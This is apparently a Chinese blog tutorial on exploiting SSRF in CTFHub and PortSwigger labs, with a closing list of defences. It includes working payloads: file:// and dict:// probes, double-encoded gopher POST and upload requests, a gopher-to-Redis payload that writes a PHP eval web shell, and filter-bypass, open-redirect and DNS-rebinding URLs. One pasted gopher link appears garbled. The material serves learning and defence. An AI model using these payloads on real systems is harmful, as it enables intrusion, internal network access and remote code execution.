文章目录
- 前言
- SSRF基础利用
- 1.1 http://内网资源访问
- 1.2 file:///读取内网文件
- 1.3 dict://探测内网端口
- SSRF进阶利用
- 2.1 Gopher协议Post请求
- 2.2 Gopher协议文件上传
- 2.3 Gopher+Redis->RCE
- 2.4 JavaWeb中的适用性?
- SSRF防御绕过
- 3.1 Url黑名单检测的绕过
- 3.2 Url白名单检测的绕过
- 3.3 Url重定向->绕过校验
- 3.4 dns重绑定->绕过校验
- 总结
前言
SSRF 属于在实战中较为常见的一类漏洞, 2019 年简单学习总结过 SSRF 基础知识《Web安全-SSRF漏洞-CSDN博客》,2020 年通过《渗透测试-Weblogic SSRF漏洞复现》和《从0到1浅析Redis服务器反弹Shell那些事》也学习了借助 SSRF 漏洞+Redis 服务器反弹 Shell 的技巧,本文进一步系统学习总结以下 SSRF 漏洞的利用技巧和修复缺陷方案的绕过手段。
SSRF基础利用
下文将围绕 CTFHub SSRF 技能树的实验展开练习:
1.1 http://内网资源访问
很明显的 SSRF 漏洞:
根据题目提示读取 Flag.php:
1.2 file:///读取内网文件
SSRF 漏洞利用过程常使用的伪协议类型:
协议类型 | 协议数据格式 | 协议介绍 |
---|---|---|
file | file://文件绝对路径名 | 主要用于读取服务器本地文件,访问本地的静态资源 |
dict | ditc://ip:port、ditc://ip:port/命令 | 一般常用来探测内网主机以及端口开放情况,也可以用来执行一些服务的命令,如 redis |
sftp | sftp://ip:port | Sftp 代表 SSH 文件传输协议或安全文件传输协议,用于 Linux |
tftp | tftp://ip:port/文件 | 简单文件传输协议允许客户端从远程主机获取文件或将文件上传至远程主机 |
gopher | gopher://ip:port/_TCP/IP数据流 | 分布式文档传递服务,使用 gopher 可发送各种格式的请求包,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,可使用 gopherus (工具) 生成 payload |
此处采用 file 协议读取本地文件:?url=file:///var/www/html/flag.php
1.3 dict://探测内网端口
根据题目提示,进行端口爆破,此处采用 dict 协议进行端口探测:
发现 8122 端口的相应包与众不同,修改为 http 协议发起 SSRF 请求,获得 Flag:
SSRF进阶利用
2.1 Gopher协议Post请求
先看看题目,给出了如下提示:
借助 SSRF 访问 /flag.php 可以看到一个 key:
借助 file 协议查看 /flag.php、index.php 源码:
flag.php 很好理解,检查客户端请求是否通过 post 传递了一个有效 key 值,是的话则输出 Flag。而 index.php 则需进一步解释下:
<?php
//关闭错误报告
error_reporting(0);
//判断url参数是否存在
if (!isset($_REQUEST['url'])){
//不存在就跳转到当前根目录
header("Location: /?url=_");
exit;
}
//初始化curl
$ch = curl_init();
//指定请求的url
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
//告诉curl不返回http头,只返回http正文
curl_setopt($ch, CURLOPT_HEADER, 0);
//允许curl跟随重定向。如果服务器响应包含重定向,curl将自动处理。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
解题思路自然就是:通过 index.php 传递一个访问 flag.php 且携带目标 key 值的 url(需要 POST 请求),系统会通过 curl 访问此 URL。如何使得 SSRF 漏洞能发起 POST 请求?此时 gopher 协议便登场了。
Gopher 是早期的 Internet 信息检索系统,通过索引将用户引导至不同资源,主要使用 TCP 70 端口,在 WWW 普及前,它是主要的检索工具,但现已基本过时,使用较少。gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,在构成符合 gopher 协议的请求。gopher 协议是 SSRF 利用中最强大的协议。
尝试使用 Gopher 协议向服务器发送 POST 包,首先构造 Gopher 协议所需的 POST 请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=e5b1f488acba169d68b828a7b3b6a7bc
在使用 Gopher协议发送 POST 请求包时,Host、Content-Type
和Content-Length
请求头是必不可少的,但在 GET 请求中可以没有,而 key 值为前面访问 flag.php 的时候从注释中所获得的。
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行 curl 请求时,进行第二次 URL 解码。所以我们需要对构造的请求包进行两次 URL 编码。同时注意:在第一次编码后的数据中,将%0A
(换行符)全部替换为%0D%0A
。因为%0A
是 ASCII 码中的换行符,在 URL 的二次编码中不需要,否则会导致 curl 执行错误,导致我们拿不到正确的结果。
然后通过以下请求将上述二次编码后的数据发送出去:
//使用gopher协议,构造payload
?url=gopher://127.0.0.1:80/_二次编码的url(注意别少了前面那个下划线)
成功获得 Flag:
2.2 Gopher协议文件上传
查看 flag.php 源码:
提示我们上传 Webshell,同时从代码上看,只要往 flag.php 传递一个 size>0 的 file 即可成功拿到 Flag:
此题目与上一题的区别在于上一题直接通过 Gopher 协议发送 Post 请求到 flag.php 并传递 key 值即可,而此题目需要通过 Gopher 协议传输文件。
在开发者工具中鼠标右键选择“以 HTML 元素修改”,临时修改前端代码,添加文件上传的提交按钮:
<input type="submit" name="submit">
目的是提交测试文件并捕获报文:
于是可以构造目标报文如下:
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--
接下来的目标就是通过 index.php 的 SSRF 漏洞,借助 Gopher 协议发送上述报文到 flag.php,即可获得 Flag。
跟上一题一样进行 URL 编码(http://www.hiencode.com/url.html)获得最终 Payload:
注意第一次 URL 编码后需要将 %0A(换行符)全部替换为%0D%0A
。
然后进行第二次 URL 编码获得最终的 Payload:
Payload 完整如下:
/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--
2.3 Gopher+Redis->RCE
此题目参考资料参见原来我写的博文《从0到1浅析Redis服务器反弹Shell那些事》即可,此文介绍了 Redis 服务进行 RCE 的常见思路,同时刚好在最后一章节提及 SSRF 借助 Redis 实现 RCE 的思路但未进行实践,此处通过此题目进行实践下。
此题目思路很简单,利用 SSRF 漏洞,借助 Gopher 协议往 Redis 写入如下木马:
config set dir /var/www/html/
config set dbfilename shell.php
set xxx "<?php eval($_POST['cmd']);?>"
save
此处直接使用 Gophar 协议利用工具 Gopharus,该工具将帮助我们生成 Gopher 有效负载,以利用 SSRF(服务器端请求伪造)并获得 RCE(远程代码执行)。 而且它将帮助我们在受害服务器上获得 shell,使用方法非常简单,按照提示就可以生成 payload 了:
python2 gopherus.py --exploit redis
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
Ready To get SHELL
What do you want?? (ReverseShell/PHPShell): PHPShell
Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST['cmd']);?>
Your gopher link is Ready to get PHP Shell:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27cmd%27%5D%2onfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0%0A%0A
When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.
再进行一次 URL 编码得到最终 Payload:
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
发送上述 Payload:
报了 504 但是中国蚁剑连接成功:
2.4 JavaWeb中的适用性?
为了检验上述利用方法在 JavaWeb 项目的适用性,使用 Java 开源靶场项目 java-sec-code 作为验证。
在 Ubuntu 虚拟机一键启动靶场环境,环境信息如下:
此靶场 SSRF 漏洞源码 SSRF.java 如下:
//https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java
@RestController
@RequestMapping("/ssrf")
public class SSRF {
private static final Logger logger = LoggerFactory.getLogger(SSRF.class);
@Resource
private HttpService httpService;
/**
* <p>
* The default setting of followRedirects is true. <br>
* Protocol: file ftp mailto http https jar netdoc. <br>
* UserAgent is Java/1.8.0_102.
* </p>
* <a href="http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd">http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd</a>
*/
@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
public String URLConnectionVuln(String url) {
return HttpUtils.URLConnection(url);
}
……
}
访问靶场,默认支持 file:/// 协议读取文件:
验证下 Gopher 协议是否适用,目标是发送以下报文:
GET /appInfo HTTP/1.1
Host: 192.168.0.121:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.121:8080/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=15FFC3C7B34EE1DAEE84887FC287C44D; XSRF-TOKEN=47010a48-ee4a-46b0-99be-1d60be80a252; remember-me=YWRtaW46MTcyMTgzNjI5NzQxOTo3ZmU5OGRjODZhZmU1ZjM3Zjc4MjU1M2Q0Yzc4OGU4ZA
Connection: close
进行 URL 编码后发送,结果系统并不支持 Gopher 协议:
参考《从1开始的Java代码审计·第四弹·SSRF》可以看到大致的原因:
【More1】
从 《奇安信攻防社区-SSRF突破对file协议的限制》看到一种绕过 file 协议限制的方法:
url:file://xxx
【More2】
顺便在此提前实践下下一章节才会提到的 URL 过滤 Bypass 技巧是否适用(建议看完全文再回来看此):
SSRF防御绕过
SSRF 漏洞常见的修复方案是对外部传递的 URL 进行过滤,但是过滤不当的情况下又容易被 Bypass,下文来看看相关 Bypass 技巧 ,实验案例除了上文提到的 CTEHub 外,还会借助:https://portswigger.net/web-security/ssrf。
3.1 Url黑名单检测的绕过
【理论知识】
某些应用程序会阻止包含主机名(如 127.0.0.1 和 localhost )或敏感 URL(如 /admin),在这种情况下,您通常可以使用以下技术绕过过滤器:
- 使用 127.0.0.1 的 IP 表示形式,例如
2130706433(10进制ip)
、017700000001(8进制ip)
或127.1(短ip)
; - 注册您自己的域名,该域名解析为 127.0.0.1 ,可以使用 spoofed.burpcollaborator.net 达到此目的;
- 使用 URL 编码或大小写变体对被阻止的字符串进行模糊处理;
【实验环境】
https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter。
访问实验地址是个商城,单击商品详情页的库存检查,发现如下携带 URL 参数的请求:
根据题目要求,目标是访问 http://localhost/admin 界面并删除用户 carlos,访问 localhost、127.0.0.1 均被拦截:
上 Bypass 技巧,用 127.1 替代 127.0.0.1,成功绕过:
但是访问 http://127.1/admin 依旧被拦截,说明拦截了 admin 关键词:
对 admin 的首字母 a 进行二次 URL 编码,得到 %2561(a 第一次 URL 编码为 %61,第二次进行URL编码,%符号被编码成 %25,从而导致结果为 %2561),使用它绕过 admin 关键词检测 http://127.1/%2561dmin:
访问 http://127.1/%2561dmin/delete?username=carlos 即可删除用户完成实验:
3.2 Url白名单检测的绕过
【理论知识】
一些应用程序只允许匹配上白名单范围内的输入,过滤器可能会在输入的开头或包含在输入中查找匹配项。您可以通过利用 URL 解析中的不一致来绕过此过滤器。URL 规范包含了许多在实现 URL 特定解析和验证时容易被忽略的特性:
- HTTP 基本身份认证特性允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式,例如:https://expected-host:fakepassword@evil-host,这里的
@
是主域名解析,即@
符号后面直接跟域名,@
符号前面的内容会被视为用户名,相当于以 expected-host:fakepassword 的用户名访问 evil-host,至于用户名是啥不重要,关键是@
后面的才是解析的地址! - 在 URL 中,
#
号后面的内容被称为片段标识符(fragment identifier),在客户端浏览器中,#
及其后面的内容不会被发送到服务器。比如,访问http://example.com/page#fragment 时,浏览器只会向服务器发送 http://example.com/page,#fragment
部分只在客户端解析,故可以借助https://evil-host#expected-host 绕过 url.contain(“expected-host”) 格式的域名白名单检测并最终访问 evil-host; - 您可以利用 DNS 命名层次结构将所需的输入放入您控制的标准 DNS 名称中。例如:https://expected-host.evil-host;
【实验环境 1】
CTFHub SSRF
使用 ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php 绕过:
【实验环境 2】
https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter
SSRF 漏洞点依旧在商品详情的检查库存请求之中,简单的探测可以发现,服务端将stock.weliketoshop.net
设置为白名单域名:
如何绕过 stock.weliketoshop.net
白名单限制??添加#
发现不行:
尝试对 # 号进行二次 URL 编码来绕过 # 检测?得到%2523
(# 符号的原始编码是%23。当进行二次URL编码时,已经编码的 % 符号本身也会被再次编码,因此%符号被编码成%25,从而导致%23变成%2523),成功绕过(仅仅依靠 # 无法绕过的话,尝试组合拳,加上 @ 试试):
最终删除目标账户的 Payload 为:http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos
3.3 Url重定向->绕过校验
【理论知识】
有时可以通过利用重定向漏洞来绕过基于过滤器的防御。在前面的示例中,假设用户提交的 URL 经过严格验证,以防止恶意利用 SSRF 行为。但是,允许 URL 的应用程序包含开放重定向漏洞。如果用于发出后端 HTTP 请求的 API 支持重定向,您可以构造一个满足过滤器的 URL,并将请求重定向到所需的后端目标。例如,该应用程序包含一个开放重定向漏洞,其中 URL 如下:
/product/nextProduct?currentProductId=6&path=http://evil-user.net
返回重定向到:
http://evil-user.net
您可以利用开放重定向漏洞绕过 URL 过滤,利用 SSRF 漏洞,如下:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
此 SSRF 漏洞之所以有效,是因为应用程序首先验证提供的 stockAPI URL 是否位于允许的域上(事实确实如此)。然后,应用程序请求提供的 URL,这会触发开放重定向。它遵循重定向,并向攻击者选择的内部 URL 发出请求。
【实验环境】
https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection
观察到存在重定向漏洞的功能点:
于是乎,借助 URL 重定向解决过滤:
最终删除用户的 Payload 如下:
/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
3.4 dns重绑定->绕过校验
【理论知识】
先介绍两个概念:
- DNS 是 Domain Name Service 的缩写,计算机域名服务器,在 Internet 上域名与 IP 地址之间是一一对应的,域名虽然便于人们记忆,但机器之间只能互相认识 IP 地址,它们之间的转换工作称为域名解析,而域名解析需要由专门的域名解析服务器来完成,这就是 DNS 域名服务器。
- TTL值全称是“生存时间(Time To Live)”,简单的说它表示 DNS 记录在 DNS 服务器上缓存时间,数值越小,修改记录各地生效时间越快。当各地的 DNS(LDNS) 服务器接受到解析请求时,就会向域名指定的授权DNS 服务器发出解析请求从而获得解析记录;该解析记录会在 DNS(LDNS) 服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS 服务器将不再向授权 DNS 服务器发出请求,而是直接返回刚才获得的记录;而这个记录在 DNS 服务器上保留的时间,就是 TTL 值。
然后说说对于常见的 IP 限制,后端服务器可能通过下图的流程进行 IP 过滤:
- 对于用户请求的 URL 参数,首先服务器端会对其进行 DNS 解析,然后对于 DNS 服务器返回的 IP 地址进行判断,如果在黑名单中,就 pass 掉。
- 但是在整个过程中,第一次去请求 DNS 服务进行域名解析到第二次服务端去请求 URL 之间存在一个时间查,利用这个时间差,我们可以进行 DNS 重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的 DNS Server,在我们的可控的 DNS Server 上编写解析服务,设置 TTL 时间为 0。这样就可以进行攻击了,完整的攻击流程为:
- 服务器端获得 URL 参数,进行第一次 DNS 解析,获得了一个非内网的 IP;
- 服务端对于获得的 IP 进行判断,发现为非黑名单 IP,则通过验证;
- 服务器端对于 URL 进行访问,由于 DNS 服务器设置的 TTL 为 0,所以再次进行 DNS 解析,这一次攻击者的 DNS 服务器返回的是内网地址。
- 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
总结来说:由于我们无法在程序运行时以毫秒为单位手动更改 DNS 记录,所以要想实现 DNS 重绑定攻击,就必须配置一个自定义的恶意 DNS 服务器,并设定好指定域名的解析 IP,再将 TTL 设置为 0,使其解析时在非法内网 IP 与合法其他IP间反复横跳。
【实验环境】
CTFHub SSRF
用下面这个网站可以进行 DNS 重绑定:https://lock.cmpxchg8b.com/rebinder.html。
绑定的两个 ip 中保证有一个是 127.0.0.1 即可,我这里和 192.168.0.1 绑定了,结果为 7f000001.c0a80001.rbndr.us。因此我们的url=7f000001.c0a80001.rbndr.us/flag.php
,注意这个域名相当于绑定了两个 ip 地址(同一时刻只对应一个),由于无法确定进行 dns 校验时的 ip 是否为 127.0.0.1,可能一次请求不成功,多刷新几次即可。
总结
本文借助 CTFHub 与 portswigger 两个 SSRF 靶场,实践练习了 SSRF 漏洞的基础利用(内网访问、文件读取、端口探测)和进阶利用(Gopher 协议发送 post 请求、攻击 Redis 实现 RCE 等),最后实践了常见的防御方案绕过手段(黑白名单绕过、重定向、DNS 绑定等)。
最后说下 SSRF 漏洞的防御手段:
- 禁止302跳转,或者每跳转一次都进行校验目的地址是否为内网地址或合法地址。
- 过滤返回信息,验证远程服务器对请求的返回结果,是否合法。
- 禁用高危协议,例如:gopher、dict、ftp、file 等,只允许 http/https;
- 设置 URL 白名单或者限制内网 IP;
- 限制请求的端口为 http 的常用端口,或者根据业务需要治开放远程调用服务的端口;
- catch错误信息,做统一错误信息,避免黑客通过错误信息判断端口对应的服务。
参考文章:
- What is SSRF (Server-side request forgery)?
- SSRF Cheat Sheet & Bypass Techniques;
- SSRF (Server Side Request Forgery) | HackTricks;
- 从1开始的Java代码审计·第四弹·SSRF;
- 干货 | SSRF的防御与绕过 - SecPulse.COM | 安全脉搏;
- CTFHub之Web篇之Web实战之SSRF(更新中~~) - AcWing;